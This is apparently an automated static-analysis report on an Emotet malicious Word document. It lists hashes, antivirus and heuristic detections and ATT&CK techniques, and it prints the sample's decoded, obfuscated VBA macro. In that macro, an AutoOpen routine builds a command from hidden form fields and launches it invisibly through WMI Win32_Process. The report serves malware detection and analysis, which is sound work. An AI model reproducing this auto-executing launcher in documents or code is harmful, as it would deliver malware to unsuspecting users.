Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 37e110f030243700…

MALICIOUS

Office (OLE)

138.8 KB Created: 2019-05-06 13:52:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: b9c9b2ebdbd3b2e7384192fef48181e6 SHA-1: e69cfa05969cf101ed0fd02404df6c2fea2dd106 SHA-256: 37e110f030243700bbcc20a357507829ecdc2c0b52e55c5593b4073c7ff295eb
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6963217-0', indicating it's a known Emotet downloader. Critical heuristics confirm the presence of VBA macros, specifically an AutoOpen macro that utilizes GetObject and WMI to launch a process, a common technique for executing downloaded payloads. The VBA script's primary function is to download and execute a second-stage payload, aligning with Emotet's typical behavior.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6963217-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6963217-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3710 bytes
SHA-256: 6d4fe8d06cc927eb1d1c16cac90e810765fbc8ebe4a1f25fa83287ac59a3f9f2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "d426078"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "K20_40"
Attribute VB_Base = "0{2F84D7F1-1265-4D74-899B-85568CE8D59D}{CC1E96F1-BE48-427E-8A81-530F5FF6F31B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "S_7875"

Attribute VB_Name = "S31__90"

Attribute VB_Name = "Z6146_"

Attribute VB_Name = "l678094"

Attribute VB_Name = "N94776"
Attribute VB_Base = "0{10086F52-2903-4676-BEC0-D07BB8D69D0F}{A1B888AD-0D1D-4AB3-BE66-E4C02304E6E9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "P324_802"
Function r3073_(X977412)
         While b24440 And 459520417
      Wend
         While a5_45897 And 532484408
      Wend
Set r3073_ = CVar(X977412)
         While n050064 And 376973578
      Wend
         While W12396 And 576509845
      Wend
End Function
Sub _
autoopen()
On Error Resume Next
         While U_92588 And 17703731
      Wend
         While i08528 And 552808729
      Wend
Call K_657609
         While P001748 And 239949978
      Wend
         While s675_4 And 796560502
      Wend
End Sub


Attribute VB_Name = "j8944381"
Function K_657609()
On Error Resume Next
         While D819_93 And 529237306
      Wend
         While z0279508 And 901946923
      Wend
         While a15058 And 353081439
      Wend
j18_9397 = K20_40.w56049 + N94776.E0122054 + K20_40.w56049.ControlTipText + N94776.v5395367 + K20_40.w56049.PasswordChar + K20_40.w56049.ControlTipText + N94776.H8_826_8 + K20_40.w56049.ControlSource + K20_40.w56049.PasswordChar + N94776.B_076730 + K20_40.w56049.PasswordChar + N94776.z689339 + K20_40.w56049.PasswordChar
         While w_26193 And 424890800
      Wend
         While f292866 And 301601492
      Wend
Set K1087_6 = r3073_(GetObject("win" + _
"mgmt" + "s:Wi" + "n32_Pr" _
+ "ocess"))
         While D14213 And 813392683
      Wend
         While k__55_88 And 288509744
      Wend
         While V6024269 And 899771316
      Wend
K1087_6.Create i7361907 + j18_9397 + w16814, G7017_1, j80773, s0054472
         While H112761 And 269341593
      Wend
         While V_561862 And 943534848
      Wend
End Function


Attribute VB_Name = "T1897341"

Public Function j80773()
         While H46497 And 381588965
      Wend
         While w1_2440 And 390300541
      Wend
Set j80773 = r3073_(GetObject("win" _
+ "mgmt" + "s:Wi" _
+ "n32_Pr" + "ocess" + "S" _
+ "tartup"))
         While K098083_ And 303981355
      Wend
         While O9051830 And 371507092
      Wend
u5__38 = vbError - vbError
         While D3508623 And 884250380
      Wend
         While A474829 And 59916080
      Wend
         While I5454002 And 119611633
      Wend
With j80773
         While v_9505 And 36596709
      Wend
         While q5408_65 And 805412601
      Wend
. _
ShowWindow = u5__38 + u5__38 + u5__38 + u5__38 + u5__38 + u5__38 + u5__38
         While M514349_ And 671154455
      Wend
         While s8931__ And 275610145
      Wend
End With
         While q0506537 And 746966759
      Wend
         While h699130 And 596417525
      Wend
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.